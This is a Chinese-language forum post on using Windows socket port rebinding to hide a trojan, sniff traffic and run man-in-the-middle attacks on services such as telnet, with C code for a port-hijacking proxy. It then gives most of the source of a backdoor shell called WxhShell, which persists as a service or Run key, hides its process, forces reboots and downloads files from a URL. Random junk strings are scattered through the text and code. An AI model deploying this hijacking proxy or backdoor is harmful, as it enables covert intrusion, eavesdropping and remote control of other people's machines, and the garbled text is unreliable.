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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: M5 VW1Ns  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Vs"b  
9fX0?POG  
  saddr.sin_family = AF_INET; ZRjM^ d;  
aA?Qr&]M  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 7u"Q1n(h/  
%i\rw*f  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); CNRSc 4Le  
XgxO:"B  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 W<q<}RSn  
% i?  
  这意味着什么?意味着可以进行如下的攻击: Py*WHHO  
,It0brF  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 .M:&Aj)x16  
 (7X  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) )Cdw_Yx  
L!JC)p.  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Pjh;;k|V  
BZ\="N#f  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  KOg,V_(I  
o135Xh$_>'  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 i5r<CxS  
rTR$\ [C  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 \Hb!<mrp  
{U-z(0  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 UovN"8W+  
YAXd   
  #include +\+j/sa  
  #include NzZ(N z5  
  #include d\qszYP[  
  #include    pq0Z<b;2  
  DWORD WINAPI ClientThread(LPVOID lpParam);   iU+SXsXLR4  
  int main() ir'<H<t2  
  { &7'=t6  
  WORD wVersionRequested; F+Kju2  
  DWORD ret; HxK'u4I  
  WSADATA wsaData; ;8#6da,  
  BOOL val; GipiO5)1C  
  SOCKADDR_IN saddr; \2u7>fU!  
  SOCKADDR_IN scaddr; 6c+29@  
  int err; ~0CNCP  
  SOCKET s; Y1lUO[F j  
  SOCKET sc; ,%Z&*/*Oh  
  int caddsize; "L5w]6C4  
  HANDLE mt; r Hq1%)B  
  DWORD tid;   $l)RMP}  
  wVersionRequested = MAKEWORD( 2, 2 ); [ DpOI  
  err = WSAStartup( wVersionRequested, &wsaData ); C+\z$/q  
  if ( err != 0 ) { MY{Kq;FvRP  
  printf("error!WSAStartup failed!\n"); "`K_5"F  
  return -1; #reR<qp&]  
  } n$ByTmKxv  
  saddr.sin_family = AF_INET; =9,mt K~  
   ]+G\1SN~  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ]|F`;}7  
#_\**%,<  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60");  @mw1__?  
  saddr.sin_port = htons(23); n%h00 9 -5  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) z~Zm1tZs  
  { e| C2/U-  
  printf("error!socket failed!\n"); hcU^!mp  
  return -1; CXn?~m&K  
  } EE09 Er %\  
  val = TRUE; X,@nD@  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 @j\;9>I/  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ;|T|*0vY[  
  { Z^]Oic/0Oa  
  printf("error!setsockopt failed!\n"); bh" Caz.(t  
  return -1; oG22;  
  } \>su97  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ,ng/T**@G  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 PU ea`rE?R  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ]l }v  
\Uh/(q7  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 0F uj-q  
  { W' Y<iA  
  ret=GetLastError(); {B=64,D^7R  
  printf("error!bind failed!\n"); YeJTB}  
  return -1; `!N.1RP _  
  } Wv5=$y  
  listen(s,2); >mQD/U  
  while(1) a%y*e+oM  
  { NjS<DzKhK  
  caddsize = sizeof(scaddr); /  !h<+  
  //接受连接请求 pV<K=;:x>  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ?`vGpi~  
  if(sc!=INVALID_SOCKET) e]1) _;b*  
  { 3I'7+?@@l  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); _0[s]  
  if(mt==NULL) QBmARQ  
  { aIT0t0.  
  printf("Thread Creat Failed!\n"); q8_E_s-U,  
  break; p8]XNe  
  } W;Dik%^tg  
  } z__{6"^  
  CloseHandle(mt); O 8l`1  
  } Y)8 Py1}  
  closesocket(s); Fbotn(\h@  
  WSACleanup(); %N\45nYU:  
  return 0; !*^+7M  
  }   e}gGl<((g  
  DWORD WINAPI ClientThread(LPVOID lpParam) (CDh,ZN;|  
  { =s AOWI,8!  
  SOCKET ss = (SOCKET)lpParam; 7F]oK0l_  
  SOCKET sc; -iy17$  
  unsigned char buf[4096]; 3-y2i/4}$  
  SOCKADDR_IN saddr; V 7 p{'C   
  long num; rk+s[Qi~  
  DWORD val; 9~ V(wG  
  DWORD ret; (CAV Oed  
  //如果是隐藏端口应用的话,可以在此处加一些判断 }q_Iep  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   G"J 8i|~  
  saddr.sin_family = AF_INET; <YG 42,N  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); iMYJVB=  
  saddr.sin_port = htons(23); i @M^l`w  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 0kp{`3ce  
  { " u]X/ {L  
  printf("error!socket failed!\n"); 3DjX0Dx/l  
  return -1; 4d`f?8vS  
  } gT fA]  
  val = 100; /xg1i1Et  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) *Ta {  
  { u<\Sf"fs  
  ret = GetLastError(); 2zsDb'r  
  return -1; $*fEgU% c  
  } ?YFSK  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) o|KmKC n>  
  { Fyz1LOH[X  
  ret = GetLastError(); FLumI-se!  
  return -1; 8N<2RT8W  
  } .4z_ohe  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ^6UE/4x!y  
  { pmUC4=&e  
  printf("error!socket connect failed!\n"); ],<pZ1V;  
  closesocket(sc); {- &wV  
  closesocket(ss); Np opg1Gv>  
  return -1; z9Y}[ pN  
  } ~!fOl)F  
  while(1) skLr6Cs|  
  { WD8F]+2O\  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 jTsQsHq   
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Urm(A9|N  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 RLVz"=  
  num = recv(ss,buf,4096,0); hs)_h^P   
  if(num>0) d ~CZ9h  
  send(sc,buf,num,0); :Mu]* N  
  else if(num==0) ['c*<f" D2  
  break; 7?Twhs.O  
  num = recv(sc,buf,4096,0); GKXd"8z]  
  if(num>0) wx/*un%2  
  send(ss,buf,num,0); aH$DEs  
  else if(num==0) e&pt[W}X%u  
  break; H"JzTo8u  
  } F @!9rl'  
  closesocket(ss); meD?<g4n~"  
  closesocket(sc); s9b+uUt%  
  return 0 ; avMre_@V  
  } ti ic>j\D  
. P! pC  
p ^I#9(PT  
========================================================== ]1bNcq2I  
x]"N:t  
下边附上一个代码,,WXhSHELL L# .vbf  
Ap(>mUs!i  
========================================================== Qv;^nj{\qV  
;3O=lo:$~  
#include "stdafx.h" ^hwTnW9Z1:  
;`Wh^Qgi  
#include <stdio.h> }@A{'q5y  
#include <string.h> >@|XY<  
#include <windows.h> sc# q03  
#include <winsock2.h> |/RZGC4  
#include <winsvc.h> u$V@akk  
#include <urlmon.h> mk`#\=GE  
DUs0L\  
#pragma comment (lib, "Ws2_32.lib") ,h9N,bIQg  
#pragma comment (lib, "urlmon.lib") )O6_9f_  
eBl B0P  
#define MAX_USER   100 // 最大客户端连接数 oe1$;K>.7  
#define BUF_SOCK   200 // sock buffer J+nUxF;EE  
#define KEY_BUFF   255 // 输入 buffer V%w]HIhq  
x)2ZbIDB:"  
#define REBOOT     0   // 重启 MM/D5g  
#define SHUTDOWN   1   // 关机 *46hw(L  
UNescZ  
#define DEF_PORT   5000 // 监听端口 U=KFbL1Q  
X_J(P?  
#define REG_LEN     16   // 注册表键长度 $-BM`Zt0;  
#define SVC_LEN     80   // NT服务名长度 }FAO.  
D]5cijO6  
// 从dll定义API R|t.J oP9  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); #7,;/rtO7  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ujoJ6UOG  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); F@@6D0\X?  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); @O&;%IZMY  
G+W0X  
// wxhshell配置信息 "D/\&1.&  
struct WSCFG { sxn^1|O;m  
  int ws_port;         // 监听端口 qa)Qf,`  
  char ws_passstr[REG_LEN]; // 口令 9d >AnTf&H  
  int ws_autoins;       // 安装标记, 1=yes 0=no :LMLY<8>9  
  char ws_regname[REG_LEN]; // 注册表键名 6+_qGV  
  char ws_svcname[REG_LEN]; // 服务名 \oV g(J&o  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 GPU,.s"&(  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 R(cM4T.a  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 MN. $a9m  
int ws_downexe;       // 下载执行标记, 1=yes 0=no r| 0wIpi6Q  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" :"~n` Q2[  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 C1SCV^#  
$n9Bp'<  
}; {-e|x&-  
3q$"`w  
// default Wxhshell configuration ]=T-C v=t  
struct WSCFG wscfg={DEF_PORT, A{KF<Omu  
    "xuhuanlingzhe", i|OG#PsY-  
    1, ~_hn{Ou s  
    "Wxhshell", (GDW9:  
    "Wxhshell", H6%%n X  
            "WxhShell Service", CUZ ;<Pn  
    "Wrsky Windows CmdShell Service", \6c8Lqa  
    "Please Input Your Password: ", t8upS u|  
  1, ~"#[<d  
  "http://www.wrsky.com/wxhshell.exe", 1usLCG>w{  
  "Wxhshell.exe" 9/I|oh_ G  
    }; w4\g]\  
/4#A|;d_  
// 消息定义模块 z(_#C s  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 0fQMOTpOp  
char *msg_ws_prompt="\n\r? for help\n\r#>"; J^<}fRw  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; {Z{!tR?+  
char *msg_ws_ext="\n\rExit."; ~jn~M_}K  
char *msg_ws_end="\n\rQuit."; 4ROuy+Ms'  
char *msg_ws_boot="\n\rReboot..."; Q\[2BJo/  
char *msg_ws_poff="\n\rShutdown..."; 3!0~/8!f@  
char *msg_ws_down="\n\rSave to "; e?)ic\K  
vSG$ 2g=  
char *msg_ws_err="\n\rErr!"; )l"py9STF  
char *msg_ws_ok="\n\rOK!"; o[E|xw  
6,UW5389  
char ExeFile[MAX_PATH]; UU" '  
int nUser = 0; d{G*1l(X  
HANDLE handles[MAX_USER]; We*&\e+"T  
int OsIsNt; *B1%-  
0GP\*Y8  
SERVICE_STATUS       serviceStatus; "jMSF@lr  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; k_hs g6Ur.  
Q"=$.M~  
// 函数声明 %[H|3  
int Install(void); [BzwQ 4  
int Uninstall(void); { x/~gp  
int DownloadFile(char *sURL, SOCKET wsh); ;7w4BJcq']  
int Boot(int flag); eg Zb)pP  
void HideProc(void); [,As;a*o  
int GetOsVer(void); LP- _i}Kq  
int Wxhshell(SOCKET wsl); /D&7 \3}  
void TalkWithClient(void *cs); /r@~"R x'  
int CmdShell(SOCKET sock); h;?H4j  
int StartFromService(void); 1/% g VB8  
int StartWxhshell(LPSTR lpCmdLine); `c%{M4bF\  
x|`o7.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); )$7-CNWr~  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Emx`+9  
KBkS>0;X  
// 数据结构和表定义 Cqc5jx0)  
SERVICE_TABLE_ENTRY DispatchTable[] = 0mD=Rjb*a  
{ \zGmZZ  
{wscfg.ws_svcname, NTServiceMain}, f?|cQ[#t!\  
{NULL, NULL} q}0xQjpo  
}; X|Z2"*;b`  
q7u bRak  
// 自我安装 oVYW '~OID  
int Install(void) )=@ SA`J  
{ =9y&j-F  
  char svExeFile[MAX_PATH]; 5x/LHsr=m  
  HKEY key; WXX)_L$2  
  strcpy(svExeFile,ExeFile); /7[X_)OG  
KR sY `[Y  
// 如果是win9x系统,修改注册表设为自启动 g;G]Xi.B}  
if(!OsIsNt) { Qvl3=[S  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2{fPQQ;#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); iX\]-_D  
  RegCloseKey(key); Qy_! +q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { S<bsrS*$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;j^C35  
  RegCloseKey(key); 8ZPjzN>c6  
  return 0; mKN#dmw6  
    } N!iugGL  
  } 5}MjS$2og  
} 1DT}_0{0Q  
else { 7r,h[9~e  
deVbNg8gs  
// 如果是NT以上系统,安装为系统服务 UG:S!w'  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); na,i(m?l  
if (schSCManager!=0) 1]% ]"JbV  
{ (Ceq@eAlT  
  SC_HANDLE schService = CreateService rVF7!|&  
  (  %kSpMj|  
  schSCManager, ipdGAG  
  wscfg.ws_svcname, C|hD^m  
  wscfg.ws_svcdisp, 1}Mdo&:t  
  SERVICE_ALL_ACCESS, fA{t\  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , .tH[A[/1 a  
  SERVICE_AUTO_START, . \:{6_  
  SERVICE_ERROR_NORMAL, ]mSkjKw  
  svExeFile, t],5{UF  
  NULL, jNu`umS  
  NULL, Lx#CFrLQ*  
  NULL, .R5(k'g?  
  NULL, LOX}  
  NULL KKJ)BG?qZ  
  ); CE;J`;  
  if (schService!=0) CP"  
  { 5KIlU78  
  CloseServiceHandle(schService); $2'Q'Mx[gd  
  CloseServiceHandle(schSCManager); v3 ]mZ}W$  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); wi$,Y. :  
  strcat(svExeFile,wscfg.ws_svcname); ^DH*\ee  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { t+<?$I[  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); fNnX{Wq  
  RegCloseKey(key); @=G6fW:  
  return 0; qnCJrY6]  
    } 5nSi29C  
  } x}B_;&>&"_  
  CloseServiceHandle(schSCManager); >3&Oe  
} ?@YABl  
} S?K x:]  
%.[jz,;)  
return 1; `<x((@#  
} ~us1Df0bp  
$9}jU#Z|hd  
// 自我卸载 {sb2r%U!+  
int Uninstall(void) b"7L ;J5|  
{ PRQEk.C  
  HKEY key; 6#za\[  
yHNx,ra   
if(!OsIsNt) { )g ; !IL  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { o`+$h:zm@  
  RegDeleteValue(key,wscfg.ws_regname); @r=v*hu  
  RegCloseKey(key); Z0#&D&2sV  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { nC2e^=^  
  RegDeleteValue(key,wscfg.ws_regname); &&$,BFY4  
  RegCloseKey(key); TcKt   
  return 0; PqVz ^(Wz  
  } N6UPD11}6  
} ` 5lW  
} @:%p#$V  
else { ![H{ndH!Q  
_ISaO C{2-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); R+b~m!5 8  
if (schSCManager!=0) yi&6HNb  
{ c]1\88  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); YQ$EN>.eO  
  if (schService!=0) _CImf1  
  { vzH"O=  
  if(DeleteService(schService)!=0) { <TQ,7M4X  
  CloseServiceHandle(schService); b<E+5;u  
  CloseServiceHandle(schSCManager); QpI\\Zt6  
  return 0; lV M )'m  
  } Yx3ivjX.>  
  CloseServiceHandle(schService); }8&?  
  } hy|Yy&-  
  CloseServiceHandle(schSCManager); Lh;U2pA  
} \h48]ZjC`  
} tB)nQw7  
+L U.QI'  
return 1; -Wm'@4bH  
} lv!8)GX|  
V7(-<})8  
// 从指定url下载文件 wS+ekt5  
int DownloadFile(char *sURL, SOCKET wsh) pgipT#_K  
{ ?(R !BB  
  HRESULT hr; A!uO7".E  
char seps[]= "/"; VqL#w<A %  
char *token; "J"RH:$v  
char *file; {v>8Kp7_R  
char myURL[MAX_PATH]; GJTakhj3  
char myFILE[MAX_PATH]; `W9~u: F  
f[fH1cu&`  
strcpy(myURL,sURL); Kv ~'*A)d  
  token=strtok(myURL,seps); Ls6C*<8  
  while(token!=NULL) ;>*Pwz`~jT  
  { ,Z$!:U  
    file=token; =Vat2'>+  
  token=strtok(NULL,seps); /mG-g%gE  
  } u ?7^+z  
G<M9 6V  
GetCurrentDirectory(MAX_PATH,myFILE); u8r<B4k  
strcat(myFILE, "\\"); B]#^&89wG)  
strcat(myFILE, file); F_d>@-<  
  send(wsh,myFILE,strlen(myFILE),0); WG]`Sy  
send(wsh,"...",3,0); q{CD:I:-  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); iBh.&K{j  
  if(hr==S_OK) AkAQ%)6qV  
return 0; u2 t=*<X  
else !D|c2  
return 1; *4OB 88$  
h$l`)AH^  
} 3-v&ktD&N'  
d J.up*aR  
// 系统电源模块 P{+,?X\  
int Boot(int flag)  WJTc/  
{ BT^HlW<  
  HANDLE hToken; y&L Lx[8 ^  
  TOKEN_PRIVILEGES tkp; Fk`|?pQm  
a3J' c  
  if(OsIsNt) { `MC5_SG 1  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 3<O=,F  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); YkF52_^_  
    tkp.PrivilegeCount = 1; sv)4e)1  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; vlC$0P  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); I3;03X<2  
if(flag==REBOOT) { LbUH`0:%t  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) p`)Mk<`dYD  
  return 0; C 8KV<k  
}  h@CP  
else { aIo%~w  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) +FH@|~^O  
  return 0; V='A;gs  
} #`@5`;U>#  
  } ov\+&=IRG  
  else { ]ONBr(M\  
if(flag==REBOOT) { F60?%gg  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) C;0VR  
  return 0; Hq aay  
} Ij2T h]  
else { a"m-&mN  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ]jSRO30H3<  
  return 0; j~Mx^ivwj  
} *:?XbtIK u  
} nm,(Wdr  
&mkL4 jXG  
return 1; ,wZq ~; 2  
} 4ufT-&m};s  
KEjMxOv1  
// win9x进程隐藏模块 {]]#q0|  
void HideProc(void) x}~Z[bx  
{ :Z.P0=  
zNM*xPgS  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); L, 2;-b|  
  if ( hKernel != NULL ) H"c2kno9  
  { d >O/Zal  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); S;j"@'gz9  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Ui'*$W]v  
    FreeLibrary(hKernel); ?OFfU  4  
  } Y^b}~t  
Q})&c.L  
return; QYps5zcn  
} NAX`y2z  
qNWSDZQ  
// 获取操作系统版本 y#FFxSH>  
int GetOsVer(void) %-<6Z9otc  
{ rP IAu[],g  
  OSVERSIONINFO winfo; Kf#iF*  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 7LsVlT[  
  GetVersionEx(&winfo); "dHo6CT,y_  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) )cU$I)  
  return 1; w\a6ga!xt"  
  else S 59^$  
  return 0; tA^CuJR  
} l[^0Ik-G  
Q_`EKz;N{  
// 客户端句柄模块 hjz`0AS  
int Wxhshell(SOCKET wsl) p\Fxt1Y@X  
{ 3Xm> 3  
  SOCKET wsh; a5pXn v]A  
  struct sockaddr_in client; gOr%N!5  
  DWORD myID; M7{_"9X{  
8On MtP  
  while(nUser<MAX_USER) ?8FJMFv;4%  
{ fo~>y  
  int nSize=sizeof(client); '4}8WYKQ  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); N%9?8X[5  
  if(wsh==INVALID_SOCKET) return 1; #'y&M t  
ul]hvK{2  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Bh7hF?c Sj  
if(handles[nUser]==0) ccT <UIpq  
  closesocket(wsh); wli H3vA_  
else /4;Sxx-  
  nUser++; ji<(}d~L*  
  } vlFq-W!  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); X|C=Q   
+v/-qyA  
  return 0; ^O!;KIe{g  
} TLq^5,qG  
6?a z  
// 关闭 socket .yHi"ss3  
void CloseIt(SOCKET wsh) =t %;mi,M  
{ Ii!{\p!  
closesocket(wsh); bX 6uGu 7  
nUser--; a% /D~5Z  
ExitThread(0); M\RHFTB<C  
} e ^ZY  
u/V&1In  
// 客户端请求句柄 HX ,\a`  
void TalkWithClient(void *cs) ZC`VuCg2O  
{ iNilk!d6Q3  
`dhBLAt  
  SOCKET wsh=(SOCKET)cs; YMVmpcz  
  char pwd[SVC_LEN]; ;rV+eb)I  
  char cmd[KEY_BUFF]; _{n4jdw%(  
char chr[1]; -/Zy{2 <u  
int i,j; O;|jLf_If  
a:;7'w'  
  while (nUser < MAX_USER) { #Z,@yJ2wl  
dptfIBYc+  
if(wscfg.ws_passstr) { !x! 1H5"  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5s@xpWVot  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); sRZ?Ilua6  
  //ZeroMemory(pwd,KEY_BUFF);  FL b  
      i=0; g_0| `Sm  
  while(i<SVC_LEN) { n2|@Hz_  
AR{$P6u!%|  
  // 设置超时 O* lE0~rJ  
  fd_set FdRead; IC1nR u2I  
  struct timeval TimeOut; DXQ]b)y+N  
  FD_ZERO(&FdRead); c}s#!|E0v  
  FD_SET(wsh,&FdRead); z]D/Qr  
  TimeOut.tv_sec=8; {$ > .I  
  TimeOut.tv_usec=0; dKhS;!K9p  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 4q.yp0E  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 5F!i%{XQvm  
I@IE0+ [n  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); gX*j|( r  
  pwd=chr[0]; 0|g@; Pc  
  if(chr[0]==0xd || chr[0]==0xa) { Ai)>ot  
  pwd=0; H?,Dv>.#*  
  break; 14A(ZWwq9  
  } ?f6SKC  
  i++; F6}YM|  
    } cP\ZeG#<  
!tb!%8{~  
  // 如果是非法用户,关闭 socket ZXXJ!9-&+J  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ]Inu'p\  
} ))<vCfuz2  
 S9^S W3  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 3Pp+>{2_?  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Wf-XH|j[  
zF|c3ap  
while(1) { +3sbpl2}  
s3  fQGbU  
  ZeroMemory(cmd,KEY_BUFF); YT,yRV9#  
*rB@[ (/  
      // 自动支持客户端 telnet标准   !yr4B "kz  
  j=0; f'*/IG  
  while(j<KEY_BUFF) { (?TK P 7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /F46Ac}I  
  cmd[j]=chr[0]; <H{K&,Z(ZM  
  if(chr[0]==0xa || chr[0]==0xd) { CIf@G>e-  
  cmd[j]=0; k7j[tB#  
  break; CD5% iFy  
  } My Ky*wD  
  j++; 6uKP BL@,  
    } ; 6PRi/@  
R_>.O?U4  
  // 下载文件 hwA&SS  
  if(strstr(cmd,"http://")) { KP 6vb@(6  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); O#p_rfQ  
  if(DownloadFile(cmd,wsh)) 9XKqsvdS  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ep:hObWG)  
  else Bs|Xq'1M!;  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %yd(=%)fMB  
  } y4$$*oai&  
  else { Xfbr;Jt"<  
,In%r`{i  
    switch(cmd[0]) { s {^wr6B  
  ;$e)r3r`LV  
  // 帮助 mSvSdKKKlI  
  case '?': { &#KN"uPW  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); \)6bLB!  
    break; wLb:FB2  
  } 4jGN:*kZ  
  // 安装 t0r0{:  
  case 'i': { +@yU `  
    if(Install()) oI'& &Bt  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ab>Kfr#  
    else ]mz'(t  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qkz|r?R)  
    break; -7'|&zP  
    } bfm+!9=9S  
  // 卸载 0pG + yec  
  case 'r': { N%ccy?B  
    if(Uninstall()) d R=0K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b)M- q{  
    else B}.:7,/0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #XB3Wden2  
    break; TU58  
    } gK@`0/k{  
  // 显示 wxhshell 所在路径 !3\$XK]5ZT  
  case 'p': { M d8(P23hS  
    char svExeFile[MAX_PATH]; sC.r$K+k5  
    strcpy(svExeFile,"\n\r"); `9gV8u  
      strcat(svExeFile,ExeFile); >B=s+ }/ME  
        send(wsh,svExeFile,strlen(svExeFile),0); 7l[ @c|e  
    break; i$`o,m#  
    } 12?!Z  
  // 重启 wa{!%qu5.R  
  case 'b': { ~WORC\kCW  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); AzSu_  
    if(Boot(REBOOT)) IG{Me  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f6Lc"b3s1  
    else { #5kclu%L$  
    closesocket(wsh); Gqc6]{  
    ExitThread(0); oylQCbT   
    } :zq Un&k&  
    break; /U0Hk>$~(  
    } |)" y  
